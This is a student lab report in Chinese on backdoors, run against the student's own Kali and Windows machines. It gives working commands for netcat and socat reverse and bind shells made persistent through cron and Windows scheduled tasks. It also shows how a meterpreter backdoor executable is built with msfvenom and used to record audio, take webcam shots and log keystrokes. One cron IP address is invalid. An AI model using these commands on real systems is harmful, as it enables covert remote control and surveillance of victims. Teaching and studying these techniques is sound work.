2018-2019-3 20165314《网络对抗技术》Exp2 后门原理与实践
1.实验内容
任务一:使用netcat获取主机操作Shell
1、在Windows下使用ipconfig查看本机IP:

2、使用ncat.exe程序监听本机的5314端口:
3、在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5314端口:
4、成功获得Kali的shell:

任务二:使用socat获取主机操作Shell
1、在Kali环境中使用ifconfig查看IP:

2、使用nc指令监听5314端口

3、在Windows下,使用ncat.exe的-e选项反向连接攻击者的5314端口

4、在Kali中可以看到Windows的命令提示,可以执行Windows命令

任务三:使用netcat传输数据
1、Windows下监听5314端口;
2、Kali下连接到Windows的5314端口:

3、建立连接之后,就可以传输数据了:

4、使用ncat进行文件传输:
- Windows下监听5314端口,并把收到的数据保存到f_out中,命令为
ncat.exe -l 5314 > f_out - kali反弹连接到Windows的5314端口,
nc 192.168.44.1 5314 < f_in - 连接建立成功,Win可以收到kali发来的文件

实验一:使用netcat获取主机操作Shell,cron启动
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以
man cron。
1、用crontab -b指令编辑一条定时任务
2、在最后一行添加45 * * * * /bin/netcat 169.254.12.424 5314 -e /bin/sh意思是在在每小时的第45分钟反向连接Windows主机的5314端口

3、45分时,Windows主机获得kali的shell,可以输入指令:

实验二:使用socat获取主机操作Shell, 任务计划启动
- socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1、在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”。

在任务计划程序创建任务,填写任务名称,并新建一个触发器。

2、在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5314 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上:

3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

4、此时,在Kali环境下输入指令socat - tcp:172.168.1.44:5314,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5314端口,此时可以发现已经成功获得了一个cmd shell:

实验三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.1 LPORT=5314 -f exe > 20165314_backdoor.exe生成后门程序:

2、通过nc指令将生成的后门程序传送到Windows主机上:

3、在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

4、设置完成后,执行监听;
5、运行Windows下的后门程序:

6、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

实验四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、使用record_mic指令可以截获一段音频:

2、使用webcam_snap指令可以使用摄像头进行拍照:

效果如下:

好吧其实我没开摄像头
3、使用screenshot指令可以进行截屏:

效果如下:

4、使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

实验五
待续*
2. 报告内容
2.1基础问题回答
- Q:举例你能想到的的一个后门进入你系统中的可能方式?
- A:下载安装非官方来源的软件,其中捆绑有其他软件、访问有折叠部分的网页或点开某个伪装的选项,浏览器在你不知情的情况下开始下载
- Q:举例你知道的后门如何启动起来(win及linux)的方式?
- A:win:恶意软件安装时默认开机自启动、或给非恶意软件设置框架捆绑启动
linux:实验里的cron和scoat,定时启动和特定事件启动
- A:win:恶意软件安装时默认开机自启动、或给非恶意软件设置框架捆绑启动
- Q:Meterpreter有哪些给你映像深刻的功能?
- A:攻击成功后可以获取击键记录和摄像头权限,尤其是摄像头权限对于见光死的死宅来说是非常大的威胁
- Q:如何发现自己有系统有没有被安装后门?
- A:定期检查系统任务;定期检查有无可疑端口、可疑文件
心得:
如果在linux中使用`ifconfig`命令提示找不到命令需要下载`net-tools`包;`msfvenom`命令找不到下载`msfpc`包。在进行连接的过程中,要注意命令中的地址是靶机还是攻击者,以及开启端口监听和请求连接的先后顺序;如果作为靶机的笔记本换了网络环境,ip地址也要随着更改
2018-2019-3 20165314《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- [洛谷P1392] 取数
无法用复杂状态进行转移时改变计算方式:巧妙的整体考虑:压缩空间优化时间 传送门:$>here<$ 题意 给出一个n*m矩阵,从每一行选一个数加起来,可以得到一个和.易知总共会有$n^n$个 ...
- [POI2015]KIN[线段树]
很套路的维护最大和子段 #include <cmath> #include <cstring> #include <cstdio> #include <cst ...
- mysql 数据库表迁移复制
1. 表结构相同的表,且在同一数据库(如,table1,table2) insert into table1 select * from table2 # 完全复制 insert into table ...
- yarn安装使用
npm install yarn -g // 到指定文件夹 yarn init // 生成package.json文件 yarn init报错 Can't answer a question unle ...
- 阿里云Redis开发规范
转自: https://yq.aliyun.com/articles/531067 摘要: 本文介绍了在使用阿里云Redis的开发规范,从键值设计.命令使用.客户端使用.相关工具等方面进行说明,通过本 ...
- SpringCloud笔记六:Hystrix
目录 Hystrix是什么? Hystrix服务熔断 新建Hystrix项目 修改yml Maven的pom.xml添加hystrix引用 修改Controller Hystrix服务降级 修改api ...
- MySQL打包执行SQL
当一次业务处理计算服务和数据库交互较多时,将可能有大量时间浪费在数据传输上,尤其对于计算服务和数据库跨机房或跨地区部署时,浪费的时间会极其可观.为了减少时间浪费可以使用MySQL提供的SQL打包功能. ...
- ArcGis Python脚本——遍历输出面或折线要素的折点坐标
有示例要素类如下 经过下面代码处理 #遍历输出面或折线要素的折点坐标 #infc:输入要素类 # code source: https://www.cnblogs.com/yzhyingcool/# ...
- [Android] Android 最全 Intent 传递数据姿势
我们都是用过 Intent,用它来在组件之间传递数据,所以说 Intent 是组件之间通信的使者,一般情况下,我们传递的都是一些比较简单的数据,并且都是基本的数据类型,写法也比较简单,今天我在这里说的 ...
- C++题目:回文数判断
Determine whether an integer is a palindrome. An integer is a palindrome when it reads the same back ...